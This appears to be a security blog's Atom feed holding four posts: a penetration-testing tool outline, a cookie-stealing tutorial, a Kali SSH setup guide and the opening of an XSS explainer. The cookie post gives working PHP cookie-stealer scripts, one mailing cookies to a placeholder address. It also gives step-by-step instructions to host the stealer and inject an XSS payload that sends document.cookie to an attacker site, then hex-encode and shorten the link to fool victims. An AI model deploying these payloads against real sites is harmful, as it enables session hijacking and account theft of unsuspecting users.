-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
1052 lines (937 loc) · 225 KB
/
atom.xml
File metadata and controls
1052 lines (937 loc) · 225 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title> tudouya's secblog</title>
<subtitle>~The quieter you become,the more you can hear~</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://sec.php101.cn/"/>
<updated>2016-10-02T19:39:20.000Z</updated>
<id>http://sec.php101.cn/</id>
<author>
<name>tudouya</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>The Main Points of Penetration Testing Methodology</title>
<link href="http://sec.php101.cn/2015/11/13/The-Main-Points-of-Penetration-Testing-Methodology/"/>
<id>http://sec.php101.cn/2015/11/13/The-Main-Points-of-Penetration-Testing-Methodology/</id>
<published>2015-11-12T17:26:48.000Z</published>
<updated>2016-10-02T19:39:20.000Z</updated>
<content type="html"><h2 id="Information-Gathering"><a href="#Information-Gathering" class="headerlink" title="Information Gathering"></a>Information Gathering</h2><p>This step occurs before you even get into their network. The goal is to gather as much information as possible about the business, their websites, personnel, and anything else that may be relevant. People often use insecure passwords such as l33tsp34k versions of their company’s name, names of their children, years of birth or graduation, and so on. Discovering this data about as many users as possible can be incredibly beneficial if you are attempting to crack passwords. </p>
<h3 id="Tools"><a href="#Tools" class="headerlink" title="Tools"></a>Tools</h3><ul>
<li>Facebook/Twitter/LinkedIn/Google+</li>
<li>Maltego</li>
<li>Creepy</li>
<li>Social Engineering (Who do I talk to, to apply for an IT job?)</li>
<li>Recon-ng</li>
<li>TheHarvester</li>
<li>Metagoofil</li>
<li>Shodan + Shodan’s API</li>
<li>DNSenum/DNSrecon</li>
</ul>
<h2 id="Network-Discovery"><a href="#Network-Discovery" class="headerlink" title="Network Discovery"></a>Network Discovery</h2><p>Here, I scan the network and map out every possible device, system, domain controller, host, and piece of equipment that I can. This is also where I start Wireshark or TCPDump to capture data and get a better visual as to see what’s going on in the network. In switched networks, you can only passively detect broadcasts from other machines, and not communication between two other machines specifically. However, if you are there as a security engineer, you may want to create a SPAN port on the switch so you can mirror the communication between other ports. </p>
<h3 id="Tools-1"><a href="#Tools-1" class="headerlink" title="Tools"></a>Tools</h3><ul>
<li>NMap</li>
<li>Unicorn Scan</li>
<li>Maltego</li>
<li>NetDiscover</li>
<li>SMBClient</li>
<li>Ettercap</li>
<li>Wirehark</li>
<li>TCPDump</li>
<li>Arping</li>
<li>Hping3</li>
<li>Xprobe2</li>
<li>TCPflow</li>
</ul>
<h2 id="Enumeration"><a href="#Enumeration" class="headerlink" title="Enumeration"></a>Enumeration</h2><p>Here is where I perform port mapping, service and version checks, OS detection, service scans, domain enumeration, user enumeration locally, and any amount of information that I can get. The goal is to find out which machines can be logged onto, what they are serving, what versions the services are, what authentication protocols are being used, and so on. </p>
<h3 id="Tools-2"><a href="#Tools-2" class="headerlink" title="Tools"></a>Tools</h3><ul>
<li>NMap</li>
<li>NSE (Nmap Scripting Engine)</li>
<li>Maltego</li>
<li>SCAPY</li>
<li>NBTscan (NetBios shit)</li>
<li>Cisco Analysis Tools</li>
<li>Wireshark</li>
<li>DNSEnum</li>
<li>smtp-user-enum</li>
<li>snmpwalk</li>
</ul>
<h2 id="Vulnerability-Assessment"><a href="#Vulnerability-Assessment" class="headerlink" title="Vulnerability Assessment"></a>Vulnerability Assessment</h2><p>From looking at the services, devices software, and information we discovered in the enumeration part of the assessment, we get a better understanding of the how the network functions as a whole. We can more easily scan or search for known vulnerabilities, or attempt to write your own. </p>
<h3 id="Tools-3"><a href="#Tools-3" class="headerlink" title="Tools"></a>Tools</h3><ul>
<li>NMap</li>
<li>NSE (Nmap Scripting Engine)</li>
<li>Metasploit/Armitage + Nexpose</li>
<li>Nessus</li>
<li>OpenVAS</li>
<li>Powerfuzzer</li>
<li>Custom Fuzzers</li>
<li>Cisco Analysis Tools (Nipper is a great one)</li>
</ul>
<h2 id="Exploitation-and-Security"><a href="#Exploitation-and-Security" class="headerlink" title="Exploitation and Security"></a>Exploitation and Security</h2><p>Here I confirm that the systems are vulnerable to attacks and exploits that I’ve found during my scanning and vulnerability assessment. This is where I suggest security updates, software/hardware updates, and add security configurations for routers, switches, and firewalls. </p>
<h3 id="Tools-4"><a href="#Tools-4" class="headerlink" title="Tools"></a>Tools</h3><ul>
<li>NSE (Nmap Scripting Engine)</li>
<li>Metasploit/Armitage + Nexpose</li>
<li>Wireshark + SCAPY (I’ve actually attacked routing protocols with this)</li>
<li>Various Servers (Bind9 DNS servers, DHCP servers, SMB Servers, Radius servers, etc…)</li>
<li>Yersina</li>
<li>Hexinject</li>
<li>Tcpreplay</li>
<li>Pineapple (For wireless Pentests</li>
</ul>
<h2 id="Post-Exploitation"><a href="#Post-Exploitation" class="headerlink" title="Post Exploitation"></a>Post Exploitation</h2><p>Here is where I install some sort of backdoor that I can access in case the host disconnects or the connection is lost. </p>
<h3 id="Tools-5"><a href="#Tools-5" class="headerlink" title="Tools"></a>Tools</h3><ul>
<li>Stunnel</li>
<li>SBD (Secure Back Door) ~ Linux</li>
<li>Cryptcat</li>
<li>Meterpreter Persistence</li>
<li>Powersploit</li>
<li>Iodine</li>
<li>UDPTunnel</li>
</ul>
<p><br></p>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul>
<li><a href="http://hackforums.net/showthread.php?tid=3877383" target="_blank" rel="external">Passive Information Gathering</a></li>
<li><a href="http://hackforums.net/showthread.php?tid=3897925" target="_blank" rel="external">Simple Pentest Overview ~ Start to Finish + Post Exploitation</a></li>
</ul>
</content>
<summary type="html">
<h2 id="Information-Gathering"><a href="#Information-Gathering" class="headerlink" title="Information Gathering"></a>Information Gathering</
</summary>
<category term="H-AttackFlow" scheme="http://sec.php101.cn/categories/H-AttackFlow/"/>
</entry>
<entry>
<title>How To Steal Cookies</title>
<link href="http://sec.php101.cn/2015/11/09/How-To-Steal-Cookies/"/>
<id>http://sec.php101.cn/2015/11/09/How-To-Steal-Cookies/</id>
<published>2015-11-09T15:17:19.000Z</published>
<updated>2016-03-17T08:46:36.000Z</updated>
<content type="html"><h2 id="Basic-Knowledge-about-Cookies"><a href="#Basic-Knowledge-about-Cookies" class="headerlink" title="Basic Knowledge about Cookies"></a>Basic Knowledge about Cookies</h2><p>Different Types of Cookies:</p>
<h3 id="Session-cookie"><a href="#Session-cookie" class="headerlink" title="Session cookie"></a>Session cookie</h3><p>A session cookie upto certain hours,depending on website. After the session hour, it will be destroyed.<br><br></p>
<h3 id="Persistent-Cookie"><a href="#Persistent-Cookie" class="headerlink" title="Persistent Cookie"></a>Persistent Cookie</h3><p>A persistent cookie will outlast user sessions. If a persistent cookie has its Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to the server every time the user visited the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are also called <strong>tracking</strong> cookies or <strong>in-memory</strong> cookies.<br><br></p>
<h3 id="Secure-cookie"><a href="#Secure-cookie" class="headerlink" title="Secure cookie"></a>Secure cookie</h3><p>Secure cookies are encrypted cookies. If you used HTTPS(secure Connection), then it will store the cookies in encrypted format. Even hackers steal the cookie, he is able to see only the encrypted data.<br><br></p>
<h3 id="HttpOnly-cookie"><a href="#HttpOnly-cookie" class="headerlink" title="HttpOnly cookie"></a>HttpOnly cookie</h3><p>The HttpOnly cookie is supported by most modern browsers. On a supported browser, an HttpOnly session cookie will be used only when transmitting HTTP (or HTTPS) requests, thus restricting access from other, non-HTTP APIs (such as JavaScript). <strong>This restriction mitigates but does not eliminate the threat of session cookie theft via Cross-site scripting.</strong> It is important to realize this feature applies only to session-management cookies, and not other browser cookies.<br><br></p>
<h3 id="Third-party-cookie"><a href="#Third-party-cookie" class="headerlink" title="Third-party cookie"></a>Third-party cookie</h3><p>Third-party cookies will store the cookies with another domain. </p>
<p>For Example:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.example.com will store the cookies with ad.advertise12.com</span><br></pre></td></tr></table></figure></p>
<p>At the same time, another website also set cookies with same domain.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.othersite.com will store the cookies with ad.advertise12.com</span><br></pre></td></tr></table></figure></p>
<p><br></p>
<h3 id="Supercookie"><a href="#Supercookie" class="headerlink" title="Supercookie"></a>Supercookie</h3><p>A “supercookie” is a cookie with a public suffix domain, like .com, .co.in,.in.<br>Most browsers, by default, allow first-party cookies—a cookie with domain to be the same or sub-domain of the requesting host. For example, a user visiting <a href="http://www.example.com" target="_blank" rel="external">http://www.example.com</a> can have a cookie set with domain <a href="http://www.example.com" target="_blank" rel="external">http://www.example.com</a> or .example.com, but not .com. A supercookie with domain .com would be blocked by browsers; otherwise, a malicious website, like attacker.com, could set a supercookie with domain .com and potentially disrupt or impersonate legitimate user requests to example.com.<br><br></p>
<h3 id="Zombie-cookie"><a href="#Zombie-cookie" class="headerlink" title="Zombie cookie"></a>Zombie cookie</h3><p>A zombie cookie is any cookie that is automatically recreated after a user has deleted it. This is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to Flash content, HTML5 storages and other client side mechanisms, and then recreating the cookie from backup stores when the cookie’s absence is detected. </p>
<h2 id="What-is-the-use-of-Cookies"><a href="#What-is-the-use-of-Cookies" class="headerlink" title="What is the use of Cookies?"></a>What is the use of Cookies?</h2><h3 id="Session-management"><a href="#Session-management" class="headerlink" title="Session management"></a>Session management</h3><p>Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a “shopping cart” (or “shopping basket”), a virtual device into which users can store items they want to purchase as they navigate throughout the site.<br><br></p>
<h3 id="Personalization"><a href="#Personalization" class="headerlink" title="Personalization"></a>Personalization</h3><p>Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server may send a cookie containing the username last used to log in to a web site so that it may be filled in for future visits.<br><br></p>
<h3 id="Tracking"><a href="#Tracking" class="headerlink" title="Tracking"></a>Tracking</h3><p>Tracking cookies may be used to track internet users’ web browsing habits. This can also be done in part by using the IP address of the computer requesting the page or the referrer field of the HTTP request header, but cookies allow for greater precision</p>
<h2 id="How-to-create-cookie-stealer-Coding-in-PHP"><a href="#How-to-create-cookie-stealer-Coding-in-PHP" class="headerlink" title="How to create cookie stealer Coding in PHP"></a>How to create cookie stealer Coding in PHP</h2><p>Here is the simple Cookie Stealer code:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$cookie = $HTTP_GET_VARS[&quot;cookie&quot;];</span><br><span class="line">$steal = fopen(&quot;cookiefile.txt&quot;, &quot;a&quot;);</span><br><span class="line">fwrite($steal, $cookie .&quot;\\n&quot;);</span><br><span class="line">fclose($steal);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
<p>Another version: Sends cookies to the hacker mail<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$cookie = $HTTP_GET_VARS[&quot;cookie&quot;]; mail(&quot;hackerid@mailprovider.com&quot;, &quot;Stolen Cookies&quot;, $cookie);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
<p>Third Version<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">if (getenv(&quot;HTTP_CLIENT_IP&quot;) &amp;&amp; strcasecmp(getenv(&quot;HTTP_CLIENT_IP&quot;), &quot;unknown&quot;))</span><br><span class="line"> $ip = getenv(&quot;HTTP_CLIENT_IP&quot;);</span><br><span class="line"> else if (getenv(&quot;HTTP_X_FORWARDED_FOR&quot;) &amp;&amp; strcasecmp(getenv(&quot;HTTP_X_FORWARDED_FOR&quot;), &quot;unknown&quot;))</span><br><span class="line"> $ip = getenv(&quot;HTTP_X_FORWARDED_FOR&quot;);</span><br><span class="line"> else if (getenv(&quot;REMOTE_ADDR&quot;) &amp;&amp; strcasecmp(getenv(&quot;REMOTE_ADDR&quot;), &quot;unknown&quot;))</span><br><span class="line"> $ip = getenv(&quot;REMOTE_ADDR&quot;);</span><br><span class="line"> else if (isset($_SERVER[&apos;REMOTE_ADDR&apos;]) &amp;&amp; $_SERVER[&apos;REMOTE_ADDR&apos;] &amp;&amp; strcasecmp($_SERVER[&apos;REMOTE_ADDR&apos;], &quot;unknown&quot;))</span><br><span class="line"> $ip = $_SERVER[&apos;REMOTE_ADDR&apos;];</span><br></pre></td></tr></table></figure></p>
<h2 id="Cookie-Stealing"><a href="#Cookie-Stealing" class="headerlink" title="Cookie Stealing"></a>Cookie Stealing</h2><p>Cookie stealing is the process of exploiting the XSS vulnerability (Non-persistent/persistent) and steal the cookie from the victim who visit the infected link. These cookie will be used to compromise their accounts.</p>
<h3 id="Step-1-Creating-Cookie-Stealer-PHP-file"><a href="#Step-1-Creating-Cookie-Stealer-PHP-file" class="headerlink" title="Step 1: Creating Cookie Stealer PHP file"></a>Step 1: Creating Cookie Stealer PHP file</h3><p>I have explained three versions of cookie stealer. We are going to use the third version.<br>Copy the code.<br>Open Notepad and paste the code<br>Save the file with .php extension<br>Eg: Stealer.php </p>
<p>Now create New file and save it as log.txt (leave it as blank). Don’t change the name , this is the file name what we give in php file.</p>
<p>Now you will have two files;</p>
<ul>
<li><ol>
<li>Stealer.php</li>
</ol>
</li>
<li><ol>
<li>log.txt</li>
</ol>
</li>
</ul>
<p>What these two files do exactly?</p>
<ul>
<li>The above Stealer.php file get ip address,cookie and stores the data in log.txt file.</li>
<li>The log.txt has cookies , ip address details.<br><br></li>
</ul>
<h3 id="Step-2"><a href="#Step-2" class="headerlink" title="Step 2"></a>Step 2</h3><p>Register in a free web-hosting service and login into your cpanel.<br>Now open the File Manager in cpanel.<br>Upload the Stealer.php and log.txt to root folder or public_html folder. </p>
<p>Now the stealer will be at hxxp://www.YourSite.com/Stealer.php .<br><br></p>
<h3 id="Step-3-Exploiting-the-XSS-Vulnerability"><a href="#Step-3-Exploiting-the-XSS-Vulnerability" class="headerlink" title="Step 3:Exploiting the XSS Vulnerability"></a>Step 3:Exploiting the XSS Vulnerability</h3><p>So Far , we have sharpened our saw. Now we are going to use it.<br>Once you set up everything and find a Vulnerable site,then inject the following code in the Vulnerable sites.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;location.href = &apos;http://www.Yoursite.com/Stealer.php?cookie=&apos;+document.cookie;&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<p><br></p>
<h3 id="Cookie-Stealing-with-Non-Persistent-vs-Persistent-XSS"><a href="#Cookie-Stealing-with-Non-Persistent-vs-Persistent-XSS" class="headerlink" title="Cookie Stealing with Non-Persistent vs Persistent XSS:"></a>Cookie Stealing with Non-Persistent vs Persistent XSS:</h3><p><strong>Persistent:</strong> if you inject this code in Persistent XSS vulnerable site, it will be there forever until admin find it. It will be shown to all users. So attackers don’t need to send any link to others. Whoever visit the page, they will be vicim. </p>
<p><strong>Non-Persistent:</strong> In case of Non-persistent attack, attacker will send the link to victims. Whenever they follow the link, it will steal the cookie. Most of sites are vulnerable to Non-persistent XSS .</p>
<p>In Non-persistence, Attackers will send the injected link victims.<br>For example:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hxxp://www.VulnerableSite.com/index.php?search=&lt;script&gt;location.href = &apos;http://www.Yoursite.com/Stealer.php?cookie=&apos;+document.cookie;&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
<p>The above link is clearly shows the scripts. Hackers can Hex-encode this script so that victim can’t see the script.<br>For Example:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xxp://www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e</span><br></pre></td></tr></table></figure></p>
<p>Still , the link look long. The attacker use one more trick to hide the long url i.e url shortening sites. There are lot of sites that shorten the long url into tiny url.</p>
<h2 id="How-to-Secure-from-this-attack"><a href="#How-to-Secure-from-this-attack" class="headerlink" title="How to Secure from this attack?"></a>How to Secure from this attack?</h2><p>Use No-Script Addon. This is best protection to stay away from XSS </p>
<p>Never Click the Shorten url </p>
<p>Sometime you may want to follow the shorten link. If so, then clear all cookies in your browser and visit through Proxy or VPN(it will hide your ip)<br><br></p>
</content>
<summary type="html">
<h2 id="Basic-Knowledge-about-Cookies"><a href="#Basic-Knowledge-about-Cookies" class="headerlink" title="Basic Knowledge about Cookies"></a
</summary>
<category term="B-XSS" scheme="http://sec.php101.cn/categories/B-XSS/"/>
</entry>
<entry>
<title>Enable SSH ON Kali</title>
<link href="http://sec.php101.cn/2015/11/06/Enable-SSH-ON-Kali/"/>
<id>http://sec.php101.cn/2015/11/06/Enable-SSH-ON-Kali/</id>
<published>2015-11-05T17:56:46.000Z</published>
<updated>2016-03-17T08:46:09.000Z</updated>
<content type="html"><h2 id="Enable-Kali-Linux-remote-SSH-service"><a href="#Enable-Kali-Linux-remote-SSH-service" class="headerlink" title="Enable Kali Linux remote SSH service"></a>Enable Kali Linux remote SSH service</h2><p>First of all remove run levels for SSH.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali~:# update-rc.d -f ssh remove</span><br></pre></td></tr></table></figure></p>
<p>Next load SSH defaults to run level<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali~:# update-rc.d -f ssh defaults</span><br></pre></td></tr></table></figure></p>
<p>Check if SSH service is up and running<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali~:# chkconfig ssh</span><br></pre></td></tr></table></figure></p>
<p>If you don’t have chkconfig installed, install via<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@kali~:# apt-get install chkconfig</span><br></pre></td></tr></table></figure></p>
<h2 id="Change-Kali-default-ssh-keys-to-avoid-MITM-attack"><a href="#Change-Kali-default-ssh-keys-to-avoid-MITM-attack" class="headerlink" title="Change Kali default ssh keys to avoid MITM attack"></a>Change Kali default ssh keys to avoid MITM attack</h2><p>Move the default Kali ssh keys to a new folder:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# cd /etc/ssh/</span><br><span class="line">root@kali:/etc/ssh# mkdir default_kali_keys</span><br><span class="line">root@kali:/etc/ssh# </span><br><span class="line">root@kali:/etc/ssh# mv ssh_host_* default_kali_keys/</span><br><span class="line">root@kali:/etc/ssh#</span><br></pre></td></tr></table></figure></p>
<p>This will move your default keys to the new folder.</p>
<p>Use the following command to regenerate SSH keys<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">root@kali:/etc/ssh# dpkg-reconfigure openssh-server</span><br><span class="line">Creating SSH2 RSA key; this may take some time ...</span><br><span class="line">Creating SSH2 DSA key; this may take some time ...</span><br><span class="line">Creating SSH2 ECDSA key; this may take some time ...</span><br><span class="line">[ ok ] Restarting OpenBSD Secure Shell server: sshd.</span><br><span class="line">root@kali:/etc/ssh#</span><br></pre></td></tr></table></figure></p>
<p>Verify ssh key hashes are different, Use the following commands to verify SSH key hashes are different<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">root@kali:/etc/ssh# md5sum ssh_host_*</span><br><span class="line">d5dff2404dd43ee0d9ed967f917fb697 ssh_host_dsa_key</span><br><span class="line">2ec88dc08f24c39077c47106aab1e7f4 ssh_host_dsa_key.pub</span><br><span class="line">ab96da6ffc39267f06e7f9497c4f5755 ssh_host_ecdsa_key</span><br><span class="line">614e36d18dc2c46178d19661db4dbd7b ssh_host_ecdsa_key.pub</span><br><span class="line">abcc037705e48b3da91a2300d42e6a2b ssh_host_rsa_key</span><br><span class="line">e26eaa1c5cff38457daef839937fcedd ssh_host_rsa_key.pub</span><br><span class="line">root@kali:/etc/ssh#</span><br></pre></td></tr></table></figure></p>
<p>Compare new key hashes to the hashes below)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@kali:/etc/ssh# cd default_kali_keys/</span><br><span class="line">root@kali:/etc/ssh#</span><br><span class="line">root@kali:/etc/ssh/default_kali_keys# md5sum *</span><br><span class="line">9a09f49be320e561dc6cf95463d4378c ssh_host_dsa_key</span><br><span class="line">1a52709d596569224822e870239c9298 ssh_host_dsa_key.pub</span><br><span class="line">65d0af7fdc5c50f67f90cb953460ba61 ssh_host_ecdsa_key</span><br><span class="line">606d1ac71100c8b38e0f87951bb94855 ssh_host_ecdsa_key.pub</span><br><span class="line">c871ecf961924389f2cddbd5888b5037 ssh_host_rsa_key</span><br><span class="line">99d4c4c68224900d0430f0bee9baf28e ssh_host_rsa_key.pub</span><br><span class="line">root@kali:/etc/ssh/default_kali_keys#</span><br></pre></td></tr></table></figure></p>
<p>Restart SSH.</p>
<h2 id="Set-MOTD-with-a-nice-ASCII"><a href="#Set-MOTD-with-a-nice-ASCII" class="headerlink" title="Set MOTD with a nice ASCII"></a>Set MOTD with a nice ASCII</h2><p>Go to <a href="http://patorjk.com/software/taag/" target="_blank" rel="external">http://patorjk.com/software/taag/</a></p>
<p>Type something in “Type Something” Box! Play around with the settings and you get a nice ASCII art.</p>
<p>Edit the following file and add your text.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# vi /etc/motd </span><br><span class="line">root@kali:~# service ssh restart</span><br></pre></td></tr></table></figure></p>
<h2 id="important"><a href="#important" class="headerlink" title="important"></a>important</h2><p>This will work on sysV systems, but the newest ubuntu uses systemd to control the boot process. In order to get sshd to start on boot for a systemd system, you need to<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable ssh.socket</span><br><span class="line">update-rc.d -f ssh enable 2 3 4 5</span><br></pre></td></tr></table></figure></p>
</content>
<summary type="html">
<h2 id="Enable-Kali-Linux-remote-SSH-service"><a href="#Enable-Kali-Linux-remote-SSH-service" class="headerlink" title="Enable Kali Linux re
</summary>
<category term="T-Tools" scheme="http://sec.php101.cn/categories/T-Tools/"/>
</entry>
<entry>
<title>Cross-Site Scripting (XSS) in Plain English</title>
<link href="http://sec.php101.cn/2014/12/10/Cross-Site-Scripting-(XSS)-in-Plain-English/"/>
<id>http://sec.php101.cn/2014/12/10/Cross-Site-Scripting-(XSS)-in-Plain-English/</id>
<published>2014-12-10T09:38:24.000Z</published>
<updated>2016-03-17T08:45:54.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Welcome to my weekly series where I explain different types of website attacks in plain English, steering clear of heavy security jargon commonly found in articles of this nature. Today, I’d like to tackle Cross-Site Scripting, more commonly known by the much scarier acronym XSS. </p>
<p>Modern websites are far more complex than the static pages that used to rule the internet. These days, it is more accurate call them web applications, due to the growing trend of replacing server-side logic with client-side Javascript. While Javascript as a programming language has evolved over the years, the ways that Javascript code is meant to be added to a web page have not. This is why we can still use <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags inside of HTML documents and put any Javascript we want inside of them, and this is the main reason why XSS is still rampant today. </p>
